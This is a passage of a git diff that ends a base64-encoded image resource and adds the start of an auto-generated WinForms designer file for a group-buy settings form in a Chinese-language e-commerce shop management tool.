//j//4mZeP/4//////////////iIiIiP//+JkGZ4iHzMzMzMzMzMzMzMzMzG7ocQDu///4iI//ju7u7u + j//////////4mP//////////////7u7uiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzu6HEG7v//////+G + ZmZ47u7//////////4//////////////7u7u7u6P/////4mQBmiIfMzMzMzMzMzMzMzMzM7uhRBu7/// + ///3AAAAF37u7///////////////////////h2AABm7u7v/////5kAZ4iHzMzMzMzMzMzMzMzMzO7oUQ + bu//////gQAAZgEG7u//////////////////////+BAAAAAFfu6P////+ZAGeIjMzMzMzMzMzMzMzMzM + zu6FEG7v////+JEAAXhwAG7o/////////////////////4gAABEGARbu7/////kQBoiIzMzMzMzMzMzM + zMzMzM7uhRBu7/////iZABmZkQBm6P////////////////////+JABGZF2AAbo////+JEGaIiMzMzMzM + zMzMzMzMzMzO7ucRbu/////4mRZ4iZkQBu//////////////////////mQB5mZdgAG7/////iRBmiIfM + zMzMzMzMzMzMzMzMxu7nEQ7v////+Bl+j/iZEAaP/////////////////////5l2/4mRAABu/////4kQ + ZoiHzMzMzMzMzMzMzMzMzMzu5xEO6P//+Phgbu/4kQAI//////////////////////+Zfo/4kQAAeIiP + //+JEGaIh8zMzMzMzMzMzMzMzMzM7ucRBu7///iOYHiI+HAAf///////////////////////mYjv+BAA + BuiIj///iQBniIfMzMzMzMzMzMzMzMzMzO7nEQbu///3EAAG6IcRF4iP/////////////////////4GP + /4cQAAZnbv///5EAaIiMzMzMzMzMzMzMzMzMzMzu5xEW7v//iRF3dmZgAXjmj/////////////////// + ///3ePiBEQAHdm7///iRAGiIfMzMzMzMzMzMzMzMzMzM7u5xFu6P/5EZmXZmZmbmaP////////////// + ///////4/4d2cRAAFwbuj//4kQZoiHzMzMzMzMzMzMzMzMzMzG7ucRDu7/iXiZkQAAZmAH////////// + ////////////+IiIdmYABmAX//j/+BAGeIh8zMzMzMzMzMzMzMzMzMzO7nEQbu/4iP+BERkREZf///// + //////////////////+JmXdxEBEAB3////kQBoiIzMzMzMzMzMzMzMzMzMzMzu5xEW7o+P//gZmZmZmP + ////////////////////////+JmZmZmZl453//+JAGaIh8zMzMzMzMzMzMzMzMzMzM7u5xEO7vj/+IeP + iIj////////////////////////////4iZmZmZiPiP//cQBoiIfMzMzMzMzMzMzMzMzMzMzM7ucRFu6P + //iP//////////////////////////////////////+Jn/j/+JAAaIiMzMzMzMzMzMzMzMzMzMzMzO7n + ERbu7//4/////////////////////////////////////////4j///gQBoiIfMzMzMzMzMzMzMzMzMzM + zMzu7nERbuj////////////////////////////////////////////4//+BAAaIiMzMzMzMzMzMzMzM + zMzMzMzMzu5xEW7u////////////////////////////////////////////////cQBoiIfMzMzMzMzM + zMzMzMzMzMzMzM7u5xEW7u//////////////////////////////////////////////+BAAaIiMzMzM + zMzMzMzMzMzMzMzMzMzO7uYREO7o//7v//////////////////////////////////////////cABoiI + fMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7oj/7o////////////////////////////////////////9x + AAeIiMzMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7nePju7u7v//////////////////////////////// + 6P/4EAB4iIfMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERBu7nmIiO7oj/////////////////////////// + ju7u7o//hwAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERbu7nmZl5eP////////////////////// + ///4iPiO5nj/+HAAaIiIzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7nERbu7oiZeI////////////////// + ////////+ImXd5mP/4cAAHiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERbu7v//////////////// + ///////////////4iZl4//hgAAeIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERBu7v////////// + //////////////////////////+GAAB4iI7MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7uiHEADujv//// + ///////////////////////////////3AAAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7ohwABmP + ////////////////////////////////////iREAZniIjMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzuiI + EAB4f///////////////////////////////////+JmZkWZoiIfMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zO6IhwBo//////////////////////////////////////iImZl2ZoiIzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzuiHAA7////////////////////////////////////////4iZFmZ4iHzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzO6IgQBo/////4j///////////////////////////////////mZFmaIiMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzuiHAA7/////iIiP//////7o//////////////////iI/////4mRZmeIh8zMzMzM + zMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiI/////+7u7u7uiIiI7u7v////iIiI/////5mRZmiIjM + zMzMzMzMzMzMzMzMzMzMzMzMzMzuiHAA7////4iIiIiIj//3d2bu7u7u7u7u7u7//4iIiIiP////+JkW + ZniIfMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI//+ZkAAGZmZmZmZmbv//iIiIiIiP// + //+ZkWZoiIzMzMzMzMzMzMzMzMzMzMzMzMzMzuiFAG7////4iIiIiIj///iZABEREREREBAG7//4iIiI + iIj/////iZFmaIiMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI///4kQARERERERERDo// + +IiIiIiIj/////mZBmeIh8zMzMzMzMzMzMzMzMzMzMzMzMzuiHAG7////4iIiIiIiP//+JFmeHd3d3dx + EW6P//iIiIiIiI/////4mRZmiIfMzMzMzMzMzMzMzMzMzMzMzMzO7ocQBo////+IiIiIiIj///iQZoiO + 7u7u5xFu7//4iIiIiIiI////+JkWZniIzMzMzMzMzMzMzMzMzMzMzMzMzuiHEA7////4iIiIiIiP///5 + kGaIju7u7ucRbu///4iIiIiIiP////95kGZ4iHzMzMzMzMzMzMzMzMzMzMzMzM7ogQBu////+IiIiIiI + j///+RBmiI7u7u7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzMzMzMzMzMzu6HEAaP////iI + iIiIiI////kQZoiHzMzu5xEO6P//iIiIiIiIj////4mRZmiIjMzMzMzMzMzMzMzMzMzMzMzM7ugRBu// + ///4iIiIiIj///+JEGaIh8zM7ucRBu7//4iIiIiIiI/////5kQZniIzMzMzMzMzMzMzMzMzMzMzMzO6I + EAbv////iIiIiIiI////iQBniIzMzO7oERbu///4iIiIiIiP////+JkGZ4iHzMzMzMzMzMzMzMzMzMzM + zMbuhxAGj////4iIiIiIj////3kAaIiMzMzu7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzM + zMzMzMzO7oUQbv////+IiIiIiI////+RBmiIfMzMzu5xFu6P//+IiIiIiIj////4mRZmiIfMzMzMzMzM + zMzMzMzMzMzMzu6BAG7////4iIiIiIj////4kQZoiHzMzM7ucRDu7///iIiIiIiIj////5kQZoiHzMzM + zMzMzMzMzMzMzMzMzM7ocQBu////+IiIiIiI////+JAGeIh8zMzO7nERbu///4iIiIiIiI////95EGaI + h8zMzMzMzMzMzMzMzMzMzMxu6HEA7v////iIiIiIiP////cQBoiIzMzMzu7lEW7v///4iIiIiIiP//// + iRBmeIjMzMzMzMzMzMzMzMzMzMzM7uhxBuj////4iIiIiI/////5EAaIiMzMzMbu5xEO7v//+IiIiIiI + j////4kQZniIzMzMzMzMzMzMzMzMzMzMzO7oEQbv////+IiIiIj/////iQBmiIfMzMzM7ucRBu7///iI + iIiIiIj///+JkGZ4iMzMzMzMzMzMzMzMzMzMzMzu6BEG7/////iIiIiI/////4EAaIiHzMzMzO7nERbu + j///iIiIiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzMzM7ucRBu/////4iIiIj/////+RAGiIjMzMzMzu + 7nEQ7u////iIiIiIiP///4mQBmiIfMzMzMzMzMzMzMzMzMzMzO7nEAbv////+IiIiP/////4EAZ4iHzM + zMzMzu5xEG7v///4iIiIiIj///+JkAZoiHzMzMzMzMzMxmzMzMzMzMzu5xAO7/////+IiI//////+RAG + iIjMzMzMzM7ucRFu7v///4iIiIiI////+ZAGaIh8zMzMzMzMzMZszMzMzMzG7ocQDu//////+I////// + /4EAZoiIzMzMzMzO7ucRBu7////4iIiIiP////mQBmiIfMzMzMzMzMzGbMzMzMzMzu6HEA7v//////// + //////9xAGiIh8zMzMzMzO7nERbu7///+IiIiI/////5kAZoiHzMzMzMzMzMxmzMzMzMzM7uhxAO7/// + ///////////4EABoiIzMzMzMzMzu7nEQbu////+IiIiP////+ZAGaIh8zMzMzMzMzMZszMzMzMzO7oUQ + Du//////////////9xAGiIh8zMzMzMzM7u5xEW7u/////4iI//////mQBmiIfMzMzMzMzMzGTMzMzMzM + zu6HEA7v/////////////4EABoiIzMzMzMzMzM7u5xEG7v/////////////5kAZoiHzMzMzMzMzMxAzM + zMzMzM7uhxEO7/////////////9wAGiIh8zMzMzMzMzO7ucRFu7v////////////+RAGeIh8zMzMzMzM + zMAGzMzMzMzO7ucRDuj////////////4EAB4iIzMzMzMzMzMzO7ucRBu6P///////////4kQBoiIzMzM + zMzMzMxgBszMzMzMxu7nEQbo////////////gQAGiIh8zMzMzMzMzMzu7nERDu7///////////+JEAaI + iMzMzMzMzMzMYADMzMzMzMzu5xEG7v///////////3EAZ4iIzMzMzMzMzMzMzu7nERbu7/////////// + gQBmiIfMzMzMzMzMzAAAbMzMzMzM7ucRBu7///////////gQAGiIh8zMzMzMzMzMzM7u5xEQbu7///// + /////5EAZ4iHzMzMzMzMzMYAAEzMzMzMzO7nERDu7/////////+HAAaIiIzMzMzMzMzMzMzM7u5xEQ7u + 7/////////gQAGiIjMzMzMzMzMzEAAAGzMzMzMzu7nEQbuj////////4cAAHiIh8zMzMzMzMzMzMzO7u + dxEW7uj////////3AAZoiHzMzMzMzMzMYAAABMzMzMzM7u5xEG7u////////hgAAeIiHzMzMzMzMzMzM + zMzO7ucREW7u7///////gQAGiIh8zMzMzMzMzEAAAABszMzMzM7ucREG7uj/////hmAAB4iI7MzMzMzM + zMzMzMzMzu7ucREG7u6P////+AAAB4iIzMzMzMzMzMYAAAAATMzMzMzO7ucREG7u7oiO7mAAAHiIiMzM + zMzMzMzMzMzMzMzu7ucREG7u7o//+HYAAHiIh8zMzMzMzMzEAAAAAAbMzMzMzu7nEREG7u7u5mAAAAeI + iIfMzMzMzMzMzMzMzMzMzu7ucREQbu7u7uYAAAeIiHzMzMzMzMzMYAAAAAAAbMzMzMzu7nEREAZmZgAA + AAF4iI58zMzMzMzMzMzMzMzMzMzu7ncREQZm7mZgAAB4iI7MzMzMzMzMxgAAAAAAAEzMzMzM7u7nEREQ + AAAAABF4iI7uzMzMzMzMzMzMzMzMzMzM7u7ucRERAAAAAAAHiIiMzMzMzMzMzMQAAAAAAAAGzMzMzM7u + 7nERERERERF3iIju7MzMzMzMzMzMzMzMzMzMzM7u7udREREQAAAReIiIfMzMzMzMzMxgAAAAAAAAAGzM + zMzM7u7udRERERV4iI7u7MzMzMzMzMzMzMzMzMzMzMzM7u7u5xEREREReIiO7MzMzMzMzMzGAAAAAAAA + AAAGzMzMzM7u7u53d3eIiO7u7szMzMzMzMzMzMzMzMzMzMzMzM7u7u7nd1F3eIiO7uzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzM7u7u7u7u7u7u7szMzMzMzMzMzMzMzMzMzMzMzMzMzu7u7u6IiI7u7uzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzu7u7u7u7u5szMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7u7u7u7u7u7MzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzG7u7u7ubMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7u7u7uzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzG7u + 7szMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyForm.Designer.cs b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyForm.Designer.cs new file mode 100644 index 0000000..585434e --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyForm.Designer.cs @@ -0,0 +1,1446 @@ +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + partial class GroupBuyForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.splitContainer5 = new System.Windows.Forms.SplitContainer(); + this.ucGroupBoxEx3 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.label15 = new System.Windows.Forms.Label(); + this.txtGetPage = new System.Windows.Forms.TextBox(); + this.pbPaste2 = new System.Windows.Forms.PictureBox(); + this.pbPaste1 = new System.Windows.Forms.PictureBox(); + this.txtFilter = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label14 = new System.Windows.Forms.Label(); + this.txtProductName = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.lblProductName = new System.Windows.Forms.Label(); + this.txtPriceMin = new System.Windows.Forms.TextBox(); + this.label12 = new System.Windows.Forms.Label(); + this.txtPriceMax = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.txtSaleMax = new System.Windows.Forms.TextBox(); + this.txtSaleMin = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.rbOnSale = new System.Windows.Forms.RadioButton(); + this.btnStopGetProduct = new DevComponents.DotNetBar.PanelEx(); + this.btnGetProduct = new DevComponents.DotNetBar.PanelEx(); + this.rbOffSale = new System.Windows.Forms.RadioButton(); + this.ucGroupBoxEx2 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.cmbSkuOptionType = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.第一个 = new DevComponents.Editors.ComboItem(); + this.最后一个 = new DevComponents.Editors.ComboItem(); + this.最便宜 = new DevComponents.Editors.ComboItem(); + this.最贵 = new DevComponents.Editors.ComboItem(); + this.不设置最便宜 = new DevComponents.Editors.ComboItem(); + this.不设置最贵 = new DevComponents.Editors.ComboItem(); + this.chkSetSkuOption = new System.Windows.Forms.CheckBox(); + this.label13 = new System.Windows.Forms.Label(); + this.panel2 = new System.Windows.Forms.Panel(); + this.btnSetName = new DevComponents.DotNetBar.PanelEx(); + this.rbCustomNames = new System.Windows.Forms.RadioButton(); + this.rbRandomNames = new System.Windows.Forms.RadioButton(); + this.lblPercentSign = new System.Windows.Forms.Label(); + this.dtpEndTime = new System.Windows.Forms.DateTimePicker(); + this.label10 = new System.Windows.Forms.Label(); + this.label9 = new System.Windows.Forms.Label(); + this.nudEachActivityProductNum = new System.Windows.Forms.NumericUpDown(); + this.label8 = new System.Windows.Forms.Label(); + this.nudStockValue = new System.Windows.Forms.NumericUpDown(); + this.cmbDiscountType = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.打折 = new DevComponents.Editors.ComboItem(); + this.直降 = new DevComponents.Editors.ComboItem(); + this.一口价 = new DevComponents.Editors.ComboItem(); + this.cmbStockType = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.全部库存 = new DevComponents.Editors.ComboItem(); + this.百分比库存 = new DevComponents.Editors.ComboItem(); + this.统一库存 = new DevComponents.Editors.ComboItem(); + this.label5 = new System.Windows.Forms.Label(); + this.cmbLimitCount = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.不限购 = new DevComponents.Editors.ComboItem(); + this.label7 = new System.Windows.Forms.Label(); + this.nudDiscountValue = new System.Windows.Forms.NumericUpDown(); + this.cmbCancelTime = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.comboItem1 = new DevComponents.Editors.ComboItem(); + this.comboItem2 = new DevComponents.Editors.ComboItem(); + this.comboItem3 = new DevComponents.Editors.ComboItem(); + this.comboItem4 = new DevComponents.Editors.ComboItem(); + this.comboItem5 = new DevComponents.Editors.ComboItem(); + this.comboItem6 = new DevComponents.Editors.ComboItem(); + this.label6 = new System.Windows.Forms.Label(); + this.chkAutoGroup = new System.Windows.Forms.CheckBox(); + this.label17 = new System.Windows.Forms.Label(); + this.nudGroupCount = new System.Windows.Forms.NumericUpDown(); + this.label11 = new System.Windows.Forms.Label(); + this.dtpStartTime = new System.Windows.Forms.DateTimePicker(); + this.label4 = new System.Windows.Forms.Label(); + this.btnSetActivity = new DevComponents.DotNetBar.PanelEx(); + this.btnStopOperate = new DevComponents.DotNetBar.PanelEx(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.btnRefreshShop = new LittleRabbit.UserControls.ButtonEx(); + this.splitContainer3 = new System.Windows.Forms.SplitContainer(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvShop = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colShopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colAuthStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colLoginStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCanUse = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.panelEx1 = new DevComponents.DotNetBar.PanelEx(); + this.ucTabControl1 = new LittleRabbit.UserComponent.UcTabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.splitContainer4 = new System.Windows.Forms.SplitContainer(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + this.btnClear = new DevComponents.DotNetBar.PanelEx(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer5)).BeginInit(); + this.splitContainer5.Panel1.SuspendLayout(); + this.splitContainer5.Panel2.SuspendLayout(); + this.splitContainer5.SuspendLayout(); + this.ucGroupBoxEx3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbPaste2)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbPaste1)).BeginInit(); + this.ucGroupBoxEx2.SuspendLayout(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.nudEachActivityProductNum)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudStockValue)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudDiscountValue)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.nudGroupCount)).BeginInit(); + this.ucGroupBoxEx1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).BeginInit(); + this.splitContainer3.Panel1.SuspendLayout(); + this.splitContainer3.Panel2.SuspendLayout(); + this.splitContainer3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).BeginInit(); + this.panelEx1.SuspendLayout(); + this.ucTabControl1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).BeginInit(); + this.splitContainer4.Panel1.SuspendLayout(); + this.splitContainer4.Panel2.SuspendLayout(); + this.splitContainer4.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.splitContainer5); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx1); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer3); + this.splitContainer1.Size = new System.Drawing.Size(1184, 703); + this.splitContainer1.SplitterDistance = 150; + this.splitContainer1.TabIndex = 7; + // + // splitContainer5 + // + this.splitContainer5.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.splitContainer5.Location = new System.Drawing.Point(148, 3); + this.splitContainer5.Name = "splitContainer5"; + // + // splitContainer5.Panel1 + // + this.splitContainer5.Panel1.Controls.Add(this.ucGroupBoxEx3); + // + // splitContainer5.Panel2 + // + this.splitContainer5.Panel2.Controls.Add(this.ucGroupBoxEx2); + this.splitContainer5.Size = new System.Drawing.Size(1031, 149); + this.splitContainer5.SplitterDistance = 273; + this.splitContainer5.TabIndex = 400; + // + // ucGroupBoxEx3 + // + this.ucGroupBoxEx3.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ucGroupBoxEx3.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx3.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx3.Controls.Add(this.label15); + this.ucGroupBoxEx3.Controls.Add(this.txtGetPage); + this.ucGroupBoxEx3.Controls.Add(this.pbPaste2); + this.ucGroupBoxEx3.Controls.Add(this.pbPaste1); + this.ucGroupBoxEx3.Controls.Add(this.txtFilter); + this.ucGroupBoxEx3.Controls.Add(this.label14); + this.ucGroupBoxEx3.Controls.Add(this.txtProductName); + this.ucGroupBoxEx3.Controls.Add(this.lblProductName); + this.ucGroupBoxEx3.Controls.Add(this.txtPriceMin); + this.ucGroupBoxEx3.Controls.Add(this.label12); + this.ucGroupBoxEx3.Controls.Add(this.txtPriceMax); + this.ucGroupBoxEx3.Controls.Add(this.label1); + this.ucGroupBoxEx3.Controls.Add(this.txtSaleMax); + this.ucGroupBoxEx3.Controls.Add(this.txtSaleMin); + this.ucGroupBoxEx3.Controls.Add(this.label2); + this.ucGroupBoxEx3.Controls.Add(this.label3); + this.ucGroupBoxEx3.Controls.Add(this.rbOnSale); + 